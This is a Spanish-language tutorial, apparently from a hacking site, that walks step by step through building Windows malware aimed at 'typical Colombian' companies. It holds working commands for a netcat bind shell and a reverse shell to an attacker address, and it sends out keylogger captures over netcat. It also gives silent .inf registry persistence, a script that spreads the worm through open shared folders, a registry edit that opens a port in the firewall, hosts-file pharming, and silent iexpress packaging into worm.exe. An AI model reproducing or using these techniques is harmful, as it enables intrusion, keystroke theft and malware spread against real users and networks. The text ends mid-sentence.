SlideShare une entreprise Scribd logo
1  sur  31
Télécharger pour lire hors ligne
http://hackstudio.net
                                   nkt@hackstudio.net

------------------------------------------------------------------
HACKING WITHIN NAILS
“hackeando con las uñas”
Part 1. The Malware Plague
------------------------------------------------------------------

“... si “nos tocó hacerlo con las uñas”, pues !! afilémonos las
uñas !! ... !! que parezcan verdaderas garras !!! ...”

                                                          nkt

------------------------------------------------------------------
Intro.
------------------------------------------------------------------

Este documento presenta una perspectiva sobre diferentes técnicas
"aparentemente de bajo nivel técnico", con las cuales "cualquier
individuo inquieto" puede desarrollar estrategias efectivas de
ataques informáticos (con una alta capacidad de daño). Se pretende
detallar cómo, sin ser ingeniero, sin ser el "super-hacker", sin
ser el experto programador, ni nada por el estilo, una persona
hostil puede lograr excelentes resultados de intrusión en empresas
y organizaciones "típicas colombianas".

En esta ocasión se estudiará una recopilación de las principales
técnicas en el desarrollo “básico” de malware.

------------------------------------------------------------------
The malware background
Antecedentes.
------------------------------------------------------------------

Como toda aplicación o software (programa también será un término
usado en este contexto), se requiere principalmente de un archivo
para   ejecutar  el   código   malicioso.  Sin   embargo,  existen
diferencias conceptuales reconocidas por los expertos en seguridad
informática que establecen una cierta clasificación del malware,
que define nuestro dominio de conocimiento. Estas diferencias, se
refieren al comportamiento del malware una vez este ataca un
sistema informático.

De acuerdo a un documento publicado en la CSIRT de Colombia (el
equipo de respuesta a incidentes de seguridad informática) en
http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/D
ocumentos.html (escrito por Juan Carlos Valbuena), una taxonomía
(clasificación) para especificar malware debe cumplir ciertas
características de la forma más óptima posible:
http://hackstudio.net
                                     nkt@hackstudio.net

[1] La taxonomía debe ser completa. Es decir todos los elementos
que se clasifican deben ser abordados dentro de alguna de las
categorías de la taxonomía.

[2] La taxonomía debe ser mutuamente excluyente. Es decir, el
elemento que se clasifica debe pertenecer a una y solo a una
categoría. No puede ser dos al mismo tiempo, aunque en el mundo
real se habla de virus con características de gusanos o gusanos
con características de troyano, vamos hacer la diferenciación de
este tipo de aplicaciones de acuerdo a una clasificación
consistente con el dominio del conocimiento en el área de malware.

[3] Repetible. Es decir, que al aplicar las mismas reglas
taxonómicas sobre un conjunto de datos, los resultados deben ser
los mismos independientemente del número de veces que se analice
el problema. Si la clasificación taxonómica es consistente, no
debería   haber  variación   a  aplicar   las   mismas reglas de
clasificación en las mismas condiciones de evaluación.

Con lo mencionado anteriormente se trabajará sobre el malware
reconocido por las autoridades en seguridad informática (NTC-
ISO/IEC17799). Se especificará su característica principal y la
diferencia de las demás categorías taxonómicas.

[1] Virus informáticos. Se reproducen infectando otros archivos
(por lo general ejecutables, macros, multimedia, etc.)

[2] Gusanos informáticos. Se reproducen           usando     servicios     de
Internet (p.e. el correo electrónico).

[3] Troyanos.   Aplicaciones   que   aparentan    hacer   una   cosa,    pero
hacen otra.

[4] Puertas   Traseras.   Permiten   conexiones   externas      de   posibles
intrusos.

[5] Spam. Correos de circulación masiva, generalmente con el fin
de recolectar listas de correos para la posterior distribución del
verdadero malware (p.e. un virus o un gusano).

[6] Spyware. Software espía que monitorea las actividades de los
usuarios (p.e. keyloggers, etc)

[7] Rootkits. Realizan varias actividades sospechosas, pero               su
principal objetivo es ocultarse de los métodos de detección.

[8] Phishing. Correos de circulación masiva que contienen páginas
de acceso suplantadas para el fraude informático.
http://hackstudio.net
                                     nkt@hackstudio.net

[9] Dialers. Aplicaciones que sirven para el marcado internacional
con el    fin de    ofrecer “servicios gratuitos” (sobre todo
pornografía), pero que “realizan la respectiva tarificación” a la
empresa ISP. Obviamente el ISP, le tarificará al usuario como
llamada la conexión realizada.

[10] adware. Software con contenido comercial por lo general de
carácter publicitario.

Existen obviamente una serie de características comunes y
compartidas entre las diferentes categorías, y de hecho, el
proyecto de malware a desarrollar incluirá varias de las técnicas
incluidos   para   algunas    de   las   categorías   presentadas
anteriormente.

------------------------------------------------------------------
Malware hacking
Principios de diseño
------------------------------------------------------------------

Este proyecto de desarrollo de malware incluirá los siguientes
targets.

[1] payload o    carga destructiva. Analizaremos el uso básico de un
backdoor para     establecer una conexión en un puerto de conexión
tipo TCP. Por     otra parte analizaremos el uso de un spyware para
monitorear las   actividades del usuario víctima, tipo keylogger.

[2] bootLoader. violación del registro de configuraciones               de
windows con el fin de garantizar el arranque del malware.

[3] mecanismo de distribución. De tal forma que el malware se
disperse al   interior de   una infraestructura de red tipo
LAN/Ethernet

[4] evasión “básica” de firewall. Con el fin              de   evitar   la
detección al ejecutar comportamientos sospechosos

[5] empaquetamiento y scripting. Creación          de     ejecutables    y
configuración de scripts de funcionamiento

[6] troyanización. Cuyo objetivo es “involucrar a la víctima” en
el proceso de intrusión

P.D. existen un abanico de técnicas alternativas (y de alto nivel
técnico) como p.e. buffer-heap-stack overflowing, shellcoding,
process jumping, antivirus attack, bugs exploiting, dll’s and
exe’s injection, etc. Estas técnicas se conocen ya como el arte de
la explotación y la intrusión (“the art of intrusion and
http://hackstudio.net
                                   nkt@hackstudio.net

exploitation”.) y requieren una alta capacidad de programación. El
propósito de este proyecto es “lograr los mismos resultados (o
similares) sin tener que acudir a la complejidad que estas
técnicas requieren”. En pocas palabras vamos a “hackear con las
uñas” (hacking within nails).

------------------------------------------------------------------
Malware Development
Desarrollo
------------------------------------------------------------------

[1] payload.

Consiste en la aplicación que realmente hace daño al sistema. Esto
se   conoce   como   carga  destructiva.   En   primera   instancia
utilizaremos un backdoor. En realidad el backdoor (puerta trasera)
solo consiste en un ejecutable que abra un puerto en estado de
escucha (Listening) y nos permita establecer una conexión externa.
Existen varios muy reconocidos, tipo bo, netbus, etc. Todos ellos
requieren fase de instalación y configuración, por lo que no nos
permite incluirlos de forma sencilla en la fase de scripting.

Se utilizará en su lugar el reconocido netcat (a.k.a. nc, la
navaja suiza), una de las mejores utilidades para conexiones
TCP/IP. El comando de ejecución que nos permite ejecutar nc modo
de escucha/Listening (-L) para lanzar (-e cmd.exe) una consola de
comandos al conectarnos al puerto (-p 666) establecido es
sencillo:

> nc –L –d –p 666 –e cmd.exe

la opción –d le dice a nc que corra de forma oculta (sin levantar
una consola).

Si verificamos el estado de red del sistema a través de la consola
(basta con ejecutar el comando netstat), podemos verificar que se
abre el puerto establecido para escuchar por conexiones entrantes.




Por el momento, como payload,    es suficiente. Sin embargo, el
problema actual es que desde     hace un par de años, algunos
http://hackstudio.net
                                   nkt@hackstudio.net

antivirus han decidido incluir nc en sus bases de firmas. Esto
significa que es posible que en algunos hosts víctimas el
antivirus emita una alarma.

Alternativas:

[1] se podría tomar el código fuente de netcat y recompilarlo
tratando de cambiar algunas opciones con el fin de que la firma no
sea reconocida por el antivirus.

[2] se podría utilizar un wrapper especial que encripte el código
binario de netcat con el fin de que el antivirus no pueda realizar
su análisis de forma correcta.

[3] la mejor. Desarrolla tu propio código. Nuestro amigo e
investigador en seguridad, Kadete (a.k.a. Juan E. Pecantet) ha
desarrollado una aplicación (“LuzyFer”), para conexiones tcp que
abre un socket a la escucha en el puerto 4444, establece
conexiones con un cliente, recibe solicitudes y procesa comandos.
El código útil de esta aplicación no supera las 50 líneas de
código en lenguaje c, con la ventaja de que por ser “código
limpio” (código que no ha sido testeado anteriormente por los
sistemas de antivirus convencionales) no forma parte de la mayoría
de las bases de firmas víricas. Felicitaciones KDT !!!.

P.D.   Kadete  reside   en  Argentina,  Se   puede   contactar  en
kadete.unix@gmail.com, trabaja para un grupo de investigación en
hacking. A continuación se presenta un preview del sencillo código
con el que se puede obtener muy buenos resultados en el desarrollo
de un backdoor (LuzyFer).
http://hackstudio.net
                                   nkt@hackstudio.net

Cualquiera de las aplicaciones anteriores simplemente cumplen con
las funciones de backdoor cuyo objetivo es esencialmente la
ejecución de comandos de shell en la máquina víctima.

Ahora, talvez sería interesante añadir al payload del malware
algún tipo de función espía (spyware). Para ello incluiremos el
uso de un keylogger desarrollado por el grupo de investigación en
seguridad    informática    de    la   Universidad    del    Cauca
(http://gseguridad.unicauca.edu.co). El keylogger, desarrollado
por Rony Arana (investigador y desarrollador) y Siler Amador
Donado (coordinador del grupo de investigación) genera un archivo
de texto plano que es enviado a una cuenta de correo. También es
“código limpio”, por lo cual no es detectado por los antivirus. El
inconveniente es que el keylogger está configurado para enviar el
archivo de texto con los datos de las pulsaciones de tecla a una
cuenta de correo electrónico que se pasa por argumento en la línea
de comandos. A continuación se presenta un overview del código
fuente del keylogger.




El servidor de correo que permite el reenvío del correo debe estar
con su configuración por defecto (que efectivamente es defectuosa)
para permitir el relay. Así que para el uso dentro de nuestro
proyecto de malware no utilizaremos la función de envío al correo
electrónico. Por el contrario, utilizaremos el mismo netcat para
que al recibir una conexión, me permita descargar el archivo.
Poner a funcionar el keylogger es sencillo.

> keylogger intruso@devilhome.com

Esta función genera un Archivo que se llama lgPh.log, donde se
almacenan las pulsaciones de teclado. Así, lo único que se
requeriría sería cargar archivo de datos en un flujo para ser
transmitido por netcat. Esto es sencillo:

> nc –L –p 665 < lgPh.log

Hasta este momento está completa la carga destructiva del malware.
Se pueden hacer muchas más cosas. Las opciones son innumerables y
ya dependen de la capacidad y creatividad del intruso. Una de las
más atractivas (y que se ha impuesto de moda), es la técnica
llamada pharming, en la cual se suplantan direcciones IP por URL's
validos en    el archivo    de configuración de hosts (a.k.a.
http://hackstudio.net
                                   nkt@hackstudio.net

%SystemRoot%system32driversetchosts,   en el   caso  de   esta
máquina    donde     se    está     editando   este     documento:
C:WINNTSystem32driversetchosts) para la navegación web. Esto
es de lo más sencillo de realizar, ya que simplemente se requiere
reemplazar un archivo de texto. Por mostrar un ejemplo, en el
siguiente preview asignamos una dirección de la máquina atacante
(192.168.1.4) que tiene un servidor web con una réplica de la
página suplantada.




El usuario ingenuo, simplemente introduce sus datos en los
formularios, el atacante guarda los datos recolectados en
variables en su “base de datos” y redirecciona a la verdadera
página de error de la entidad suplantada. Listo. El usuario
simplemente ha de creer que introdujo mal los datos en sus
formularios. Este es el famoso phishing (con muchos adeptos por
estos días). Por efectos pedagógicos del desarrollo de este
proyecto, se cambiará el nombre de los ejecutables así: nc.exe se
reemplazará por win32.exe, y keylogger.exe se reemplazará por
run32dl.exe (solo por utilizar un conjunto de nombres que
dificulten el proceso de identificación del malware).

[2]   bootLoader.  violación   del   registro    de     configuraciones
(“Hacking Registry”).

Existen varias formas de establecer un punto de arranque para
cualquier malware. Estos puntos de arranque se conocen como ASEP’s
(Autostart   Extensibility  Points)  y   se  presenta   una  buena
referencia en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

A continuación se referencian algunas:

[-] Directorio de Inicio

%ALLUSERSPROFILE%Menú InicioProgramasInicio

Para una instalación típica en español, un ejemplo podría ser:

C:Documents and SettingsAll UsersMenú InicioProgramasInicio
http://hackstudio.net
                                               nkt@hackstudio.net


[-] Entradas en el archivo win.ini (c:windowswin.ini)
La sintaxis de las entradas es del tipo:

------------------------------------------------------------------
[windows]
run=c:windowssystem32malware.exe
load=anything
------------------------------------------------------------------

[-] Entradas en el archivo system.ini (c:windowssystem.ini)
La sintaxis de las entradas es del tipo:

------------------------------------------------------------------
[boot]
shell=explorer.exe c:windowssystem32malware.exe
------------------------------------------------------------------

[-] “Güindous” Registry

El registro es el área de campo de trabajo de la mayoría del
malware en la actualidad. Se utilizará en este proyecto para
garantizar el arranque del malware junto con el sistema operativo.
Las claves principales para realizar el boot del malware son (ver
ZELTSER, Lenny. Malware: Fighting malicious code. 2003):

------------------------------------------------------------------
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsSystemScripts
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsLoad
HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsSystemScripts
HKEY_CLASSES_ROOTExefilesShellOpenCommand
------------------------------------------------------------------

Existen otro tipo de claves que permiten forzar la ejecución de un
archivo dada una solicitud de ejecución de una aplicación.

------------------------------------------------------------------
[HKEY_CLASSES_ROOTexefileshellopencommand] =""%1" %*"
[HKEY_CLASSES_ROOTcomfileshellopencommand] =""%1" %*"
[HKEY_CLASSES_ROOTbatfileshellopencommand] =""%1" %*"
http://hackstudio.net
                                               nkt@hackstudio.net

[HKEY_CLASSES_ROOThtafileShellOpenCommand] =""%1" %*"
[HKEY_CLASSES_ROOTpiffileshellopencommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESbatfileshellopencommand]   =""%1"   %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEScomfileshellopencommand]   =""%1"   %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESexefileshellopencommand]   =""%1"   %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEShtafileShellOpenCommand]   =""%1"   %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESpiffileshellopencommand]   =""%1"   %*"
------------------------------------------------------------------

Un ejemplo “del uso exagerado” de este tipo de claves es el
malware “soundmix.exe”, el cual ante cada solicitud de ejecución
de “cualquier cosa” volvía y cargaba su propio ejecutable. Existen
otras claves específicas, las cuales (como ya se mencionó
anteriormente), pueden ser consultadas en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

Otra forma (algo más ortodoxa, aunque menos visible), es crear el
troyano llamado explorer.exe y ubicarlo en el disco C:, lo cual
hace que se cargue automáticamente el troyano (que implícitamente
puede      llamar      al      verdadero     explorer.exe      en
C:windowsexplorer.exe).

Existen muchas diversas formas de establecer un punto de arranque
del malware, de tal manera que en fin, esto dependerá en alto
grado de la capacidad/creatividad del desarrollador del malware.
P.e. basta con crear un troyano que al ejecutarse, revise si está
activo el iexplorer.exe. De ser así, que lo baje (elimine el
proceso), que copie una versión del iexplorer.exe “troyanizada” y
vuelva a levantar el proceso. De esta manera, cada vez que el
usuario decida “navegar en internet”, ejecutará implícitamente el
troyano (que contiene el payload), sin tener que utilizar ninguna
de   las  estrategias   de  bootLoader   desde  el   registro  de
configuraciones de windows. De cualquier forma, por ser este un
proyecto didáctico y para realizar la violación del registro, se
utilizará un valor en una clave típica, con el fin de tratar de
simular el comportamiento típico de la mayoría de malware. La
clave es run en HKLM.
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
http://hackstudio.net
                                      nkt@hackstudio.net


Escribiremos a continuación el script necesario para instalar un
valor de inicio del malware en dicha clave. Existen varias formas
de realizar este script, aunque por lo general el uso de comandos
tipo “reg” despliegan un aviso solicitando al usuario de la
máquina la confirmación de la instalación en el registro. En lugar
de esto, podemos hacer un script en un archivo .inf para que se
instale de forma silenciosa sin pedir la confirmación. A
continuación se presenta el archivo [install.inf]

------------------------------------------------------------------
[Version]
Signature="$Chicago$"
Provider=nkt

[DefaultInstall]
AddReg=nkt

[nkt]
HKLM, SoftwareMicrosoftWindowsCurrentVersionRun,,,win32.exe -L -d -p
666 -e cmd.exe
------------------------------------------------------------------

En la página oficial de microsoft existe una guía completa para
desarrollar archivos de instalación/desinstalación bajo directivas
de archivos .inf. Ahora, el problema consiste en que para instalar
un archivo .inf, desde el explorador de windows se necesita dar
click derecho y seleccionar la opción instalar en el menú
contextual. Obviamente que no podemos esperar que sea un usuario
que haga esto de forma voluntaria. Existe un comando que permite
realizar esta instalación de forma silenciosa. El script se
describe a continuación (archivo [install.bat]):

------------------------------------------------------------------
rundll32 setupapi,InstallHinfSection DefaultInstall 132 .install.inf
------------------------------------------------------------------

Una vez que se ejecute el anterior script (lo cual si puede
automatizarse de forma silenciosa), se instala el script contenido
en el archivo .inf instalado (install.inf).

Lo descrito anteriormente es suficiente para llevar a cabo la
operación de la violación del registro de configuraciones. Como ya
se mencionó, existen innumerables puntos de carga del malware con
sus claves específicas de registro que pueden aprovecharse de la
misma manera explicada anteriormente. Un script para instalar la
clave (archivo .inf) y un script para realizar la instalación de
forma silenciosa.
http://hackstudio.net
                                      nkt@hackstudio.net

[3] mecanismo de distribución.

Existen varias alternativas. Una de las más técnicas, es la
detección de un bug o fallo natural del sistema (tipo lsass, que
dió el canal de difusión al famoso sasser, un gusano que
definitivamente dejó su marca en la historia). Por lo general, una
actividad típica de un gusano, es la búsqueda o exploración de la
red en búsqueda de este tipo de fallas, y al encontrar un conjunto
de equipos vulnerables en una red, proceder a ejecutar un exploit
que instale el gusano en cada equipo vulnerable. El nivel técnico
requerido desde el punto de vista de la programación es alto. Otra
técnica bastante utilizada, es la búsqueda de direcciones de
correo electrónico. Esto puede hacerse atacando directamente las
libretas de direcciones de aplicaciones como outlook (de hecho,
este tipo    de búsquedas    es típica). También se      requieren
aplicaciones   especiales  que   realicen  esta   tare  de   forma
específica. Otra forma, es bombardear directamente el servidor de
correo electrónico de la organización en busca de conjuntos de
usuarios. p.e. Cuentas tipo allusers@company.com, que al recibir
un correo, lo redireccionan a todas las cuentas de correo de la
organización. Todas estas técnicas mencionadas anteriormente
pretenden lograr un mecanismo de distribución del malware, y son
frecuentemente utilizadas y requieren una gran capacidad de
programación.

En la propuesta de este proyecto procederemos a utilizar un modelo
mucho más sencillo para la distribución de un malware al interior
de una infraestructura LAN/Ethernet. Es el abuso de los recursos
compartidos en una red típica ms-windows. Vale la pena mencionar
que en muchas redes corporativas, por necesidad de acceso a
archivos y falta de conciencia en el área de seguridad de la
información, suele mantenerse de forma indefinida e irreglamentada
un   conjunto  de   recursos  compartidos   sin    ningún tipo   de
restricción. Esto también es altamente explotable, y generalmente
es una de las acciones típicas de un gusano. En este proyecto se
aprovechará la característica típica de redes windows XP en la
cual   existe   una   carpeta  típica   para    compartir  recursos
(“Documentos Compartidos”). La configuración típica también es el
acceso a dicha carpeta con privilegios de lectura/escritura y sin
ningún tipo de autenticación. Siendo así, no resta, sino
“scriptar” nuestras instrucciones para que se copie el cuerpo del
malware en las carpetas que encuentre compartidas “de forma
vulnerable” (en este caso, la típica carpeta que parece que no
puede faltar en ningún equipo ... Musica, ¿raro no??). El código
del script se incluirá en el archivo [dist.bat]

------------------------------------------------------------------
FOR /F “tokens=1” %i IN (dirs.txt) do xcopy malware.exe %iMusica 2>nul
------------------------------------------------------------------
http://hackstudio.net
                                    nkt@hackstudio.net


donde debe existir un archivo [dirs.txt] que contenga una lista de
direcciones IP a testear.

------------------------------------------------------------------
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
192.168.1.8
192.168.1.9
...
------------------------------------------------------------------

Obviamente, en este caso, el desarrollador del malware, tiene
conocimiento de el rango de direcciones IP que desea infectar; sin
embargo esto no omite que un script más elaborado, realice las
búsquedas de direcciones IP automáticamente. Lo típico sería
utilizar el mismo bucle anterior y en lugar del xcopy, utilizar
comandos net, p.e.

------------------------------------------------------------------
> net use * IPVictimasIPC$
------------------------------------------------------------------

Por otra parte, herramientas especializadas en exploración de
redes       como     netviewx       (de      Jesper       Lauritsen,
http://www.ibt.ku.dk/jesper/NTtools), nete (de Sir Dystic de “The
Cult of Dead Cow”, a.k.a. “El culto de la vaca muerta”, famoso
grupo      en     la      historia      del      hacking),      enum
(http://www.bindview.com/support/Razor/Utilities) y NAT (parte del
antiguo Legion), permiten realizar scripts más complejos que
exploran máquinas a nivel de red para localizar recursos
compartidos, listas de usuarios, etc. Por “pedagogía” en este
proyecto nos limitaremos al script “primitivo” visto anteriormente
que cumple con la funcionalidad que requerimos.

[4] evasión “básica” de firewall.

En   este  punto,  ya   hemos  obtenido  prácticamente  toda   la
funcionalidad de nuestro proyecto de malware. Ahora, “necesitamos
proteger” nuestra actividad intrusiva. El firewall talvez sea la
principal aplicación a evitar (aparte de los IDS, que para el
prototipo habitual de una infraestructura LAN en nuestras
empresas, suele ser considerado “una exageración” en costos y
esfuerzos ... ¿de dónde sale que todos los ataques informáticos
solo le suceden a microsoft, el FBI, la NASA y el pentágono??).
Bien, en un escenario típico a nivel de intranet, generalmente
http://hackstudio.net
                                      nkt@hackstudio.net

“nos conformamos” con ver el icono de “firewall activo” en nuestra
systray. Se podría utilizar aplicaciones tipo “microchip” (un
ejecutable que “lastimosamente” ya es detectado por antivirus como
kaspersky) que al ejecutarse baja automáticamente el firewall de
windows.

Sin embargo (y como cosa rara en los entornos ms-win), la
configuración del firewall también está delegada al registro de
configuraciones.




Esto implica que “basta un simple script” para modificar la
configuración del firewall y evitar que aparezca el aviso de
bloqueo de conexión. El script es sencillo y se presenta a
continuación (archivo [fw.inf]):

------------------------------------------------------------------
[Version]
Signature="$Chicago$"
Provider=nkt

[DefaultInstall]
AddReg=fw

[fw]
HKLM,
SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStan
dardProfileGloballyOpenPortsList,666:TCP,,666:TCP:*:Enabled:win32.exe
------------------------------------------------------------------

Obviamente, también para instalar este archivo [fw.inf] de forma
silenciosa, requerimos un archivo por lotes [fw.bat]:

------------------------------------------------------------------
rundll32 setupapi,InstallHinfSection DefaultInstall 132 .fw.inf
------------------------------------------------------------------
http://hackstudio.net
                                   nkt@hackstudio.net


A nivel de intranet ... !!! ESO ES TODO !!!. al violar el
registro, le decimos que la aplicación win32.exe (nuestro
backdoor) va a abrir el puerto (666) y que simplemente el firewall
de windows “debe quedarse callado”. Solo basta prestarle atención
a que este script debe ejecutarse antes de intentar poner el
backdoor en escucha por conexiones.

Para complementar este proyecto, en caso de requerir aprovechar la
funcionalidad de nuestro malware de forma externa a la intranet,
se necesitaría evadir el firewall de red (generalmente un firewall
corporativo que realiza funciones NAT). Basta con utilizar un
puerto común que “no suele ser filtrado”, p.e. El puerto 53,
utilizado para consultad DNS, que se requiere para hacer la
resolución de nombres en las consultas de internet. Entonces,
sencillamente podríamos proceder a hacer una operación “delicada”;
se conoce como callback. En lugar de ser la máquina víctima la que
permanece en estado Listening (-L para netcat), ponemos en escucha
la máquina atacante, y configuramos nuestro backdoor para que sea
la víctima la que se conecte (y nos envíe una “hermosa consola”) a
la máquina atacante. Se requeriría entonces que dispongamos de una
dirección IP real, pues el backdoor necesita “saber con quién se
conecta”. Si la conexión se establece a través de un puerto no
filtrado por el firewall de red, pues, sencillamente !!! YA
ESTARÍA TODO HECHO !!!!.

A continuación se muestran los scripts necesarios para realizar un
callback desde nuestro backdoor (tomaremos como máquina atacante
la 192.168.1.4, y en una máquina virtual vmware, emularemos la
máquina víctima con IP 192.168.1.9).

En la máquina atacante:

------------------------------------------------------------------
> nc -L -p 666 -v
------------------------------------------------------------------
http://hackstudio.net
                                         nkt@hackstudio.net

observemos el preview




En la máquina víctima, el backdoor debe estar configurado para
conectarse con el puerto disponible en la máquina atacante (en el
ejemplo se usa el 666, aunque ya se mencionó que para efectos de
realizar la evasión de firewall, debería utilizarse un puerto no
filtrado, p.e. 53 [dns], 80 [http], etc.).

El script requerido para hacer el callback desde el backdoor es:

------------------------------------------------------------------
> nc -d IPAtacante puerto -e cmd.exe
------------------------------------------------------------------

En este caso sería:

------------------------------------------------------------------
> nc -d 192.168.1.4 666 -e cmd.exe
------------------------------------------------------------------

Observemos el preview, donde primero indagamos la dirección IP de
la víctima (solo por verificación), y le pedimos a nuestro querido
netcat que por favor “me mande una consolita a la dirección del
atacante en el puerto donde el atacante está esperando que yo me
conecte).
http://hackstudio.net
                                   nkt@hackstudio.net




Ahora, en la máquina atacante se puede observar como se establece
la conexión con una “entrada” en la consola de la máquina víctima.




Donde podemos observar “en consola”, que la dirección original
correspondía a la máquina atacante, al recibir una conexión se
http://hackstudio.net
                                   nkt@hackstudio.net

lanza la consola desde la víctima, y al volver a revisar la
dirección IP ... !! estamos en la máquina de la víctima !!!. Y
podés ejecutar desde ahí “lo que quieras en la víctima”

Lo más importante de los ataques por callbacks: es el alcance de
direcciones no enrutables por ser internas (en el dominio de la
intranet) y estar “cubiertas” por el firewall. Sin embargo, en
este punto es importante tener en cuenta qué tipo de ataque es el
que se realizará. ¿querés controlar la máquinas de tu red desde el
interior de la intranet??, basta con el backdoor en estado de
escucha. No necesitas el callback. ¿querés controlar las máquinas
desde fuera de la intranet??, si tenés una máquina con IP estática
externa, solo te falta configurar bien tus backdoors para que
realicen un callback ... y Listo !!! no más temores a los
firewalls ;P

¿presenta algún problema las conexiones por callbacks??. Para un
malware que se distribuye en una red: SI. No sería apropiado que
todos los backdoors intenten conectarse y mandar consolas al único
puerto en el cual la máquina del atacante está esperando
conectarse con sus víctimas. Así que es de prestarle atención a:
1. configurar los backdoors para que se conecten a distintos
puertos abiertos en la máquina atacante, 2. abrir varios puertos
en escucha en la máquina atacante. De hecho, si el malware está
muy distribuido, el ataque puede salir “contraproducente” ...
muchos backdoors tratando de conectarse con tu máquina te pueden
ocasionar una inesperada denegación de servicio. En verdad se
debería refinar la especialización de este tipo de ataques (ya
habrá oportunidad en otra publicación, je! ...).

P.D. No olvidar que aunque en el callback se utilizó directamente
netcat, en el proyecto del malware, se cambió el nombre del
ejecutable por win32.exe

[5] empaquetamiento y scripting.

La funcionalidad de nuestro proyecto de malware ya está completa.
Sin embargo, en este momento solo tenemos un “reguero de scripts”.
Necesitamos empaquetar todo de tal forma que baste con un click de
un usuario desprevenido o ignorante o ambicioso, etc. (cualquier
actitud que atente contra la protección de la información), pues
en últimas, las mas grandes vulnerabilidades de seguridad
informática se encuentran en la mente de los usuarios.

Realizaremos a continuación el empaquetamiento de todos nuestros
scripts. Ni siquiera utilizaremos una “super-utilidad”. Basta con
ejecutar en windows la utilidad “iexpress”, o podemos acudir a
nuestro querido winrar. Cualquiera de los dos sirve. Por espacio
en este documento, mostraremos el funcionamiento tanto de iexpress
http://hackstudio.net
                                   nkt@hackstudio.net

como de winrar de forma gráfica, y de forma textual se explicará
cual es el orden del empaquetamiento.

Podemos acceder a iexpress desde [inicio->ejecutar], tecleamos
iexpress. Debe desplegar la siguiente ventana (donde debe estar la
opción de crear un nuevo paquete extraible):




Seleccionamos la opción crear nuevo archivo de directivas de auto-
extracción. Luego, “Siguiente”




En la interfaz para seleccionar       el    propósito del paquete
seleccionamos “extraer archivos       y    ejecutar   comandos de
http://hackstudio.net
                                   nkt@hackstudio.net

instalación” (vamos a necesitar que desde ahí se ejecuten nuestros
scripts. “Siguiente”:




Le damos un título al proyecto (en este caso, empaquetaremos
nuestros   scripts en un  archivo que  se  llame  worm.exe).
“Siguiente”:




Obviamente le decimos al paquete que no “promptee” al usuario con
avisos y notificaciones. “Siguiente” (¿que otra cosa esperaban??):
http://hackstudio.net
                                   nkt@hackstudio.net




Obviamente que sería ridículo desplegar     una   licencia   para   la
instalación de un malware. “Siguiente”:




Seleccionamos todos los archivos que vamos a requerir. Esto
incluye tanto los ejecutables de nuestro payload (nc.exe que ahora
se llama win32.exe, el keylogger, etc.), además de los scripts que
hemos desarrollado (los scripts que realizan el bootLoader en el
registro, el script de distribución en carpetas compartidas, el
archivo que contiene la lista de direcciones IP, los scripts que
realizan la evasión del firewall de windows, y todo lo que puedas
necesitar ... ). Solo dale “Siguiente”:
http://hackstudio.net
                                  nkt@hackstudio.net




En este punto es donde se debe tener cuidado. Debes seleccionar
los   scripts  para   que   se  ejecuten   antes o después  del
desempaquetamiento. Como se puede notar en el preview, puede
seleccionar tanto scripts dentro del paquete, como cualquier
comando que desees que se ejecute. “Siguiente”:




Obviamente seleccionamos la opción de desempaquetamiento oculto y
como de costumbre; “Siguiente”:
http://hackstudio.net
                                   nkt@hackstudio.net




Que no despliegue ningún tipo de mensaje (obvio). Siguiente:




“Bautizamos” el paquete (con extensión .exe), y le decimos que
Oculte el proceso de desempaquetamiento (nada de animaciones al
usuario). “Siguiente”:
http://hackstudio.net
                                 nkt@hackstudio.net




Seleccionamos la opción de no rebootear el sistema (en verdad,
cualquier reinicio, ya se convierte en una actividad bastante
sospechosa). “Siguiente”:




Ya que el desarrollo de malware es “altamente adictivo”, es
probable   que quieras  guardar  el  proyecto para volver  a
empaquetarlo en momentos posteriores, o realizar mejoras. Lo
recomendable es salvar elproyecto en un archivo .SED. “Doble
Siguiente”:
http://hackstudio.net
                                  nkt@hackstudio.net




Si todo el proceso de empaquetamiento       salió      bien,   no   debe
notificar ningún tipo de error (Done!).




Si revisas en el explorador, tienen que haberse generado tanto el
paquete worm.exe como el archivo del proceso de empaquetamiento
worm.SED. Y LISTO !!!, al dar doble click en el ejecutable, se
http://hackstudio.net
                                   nkt@hackstudio.net

extraen los archivos en algunas carpetas temporales y se ejecutan
los scripts en el orden que hayas seleccionado. Como lo anterior
fue demostración, a continuación se narra como realizar el proceso
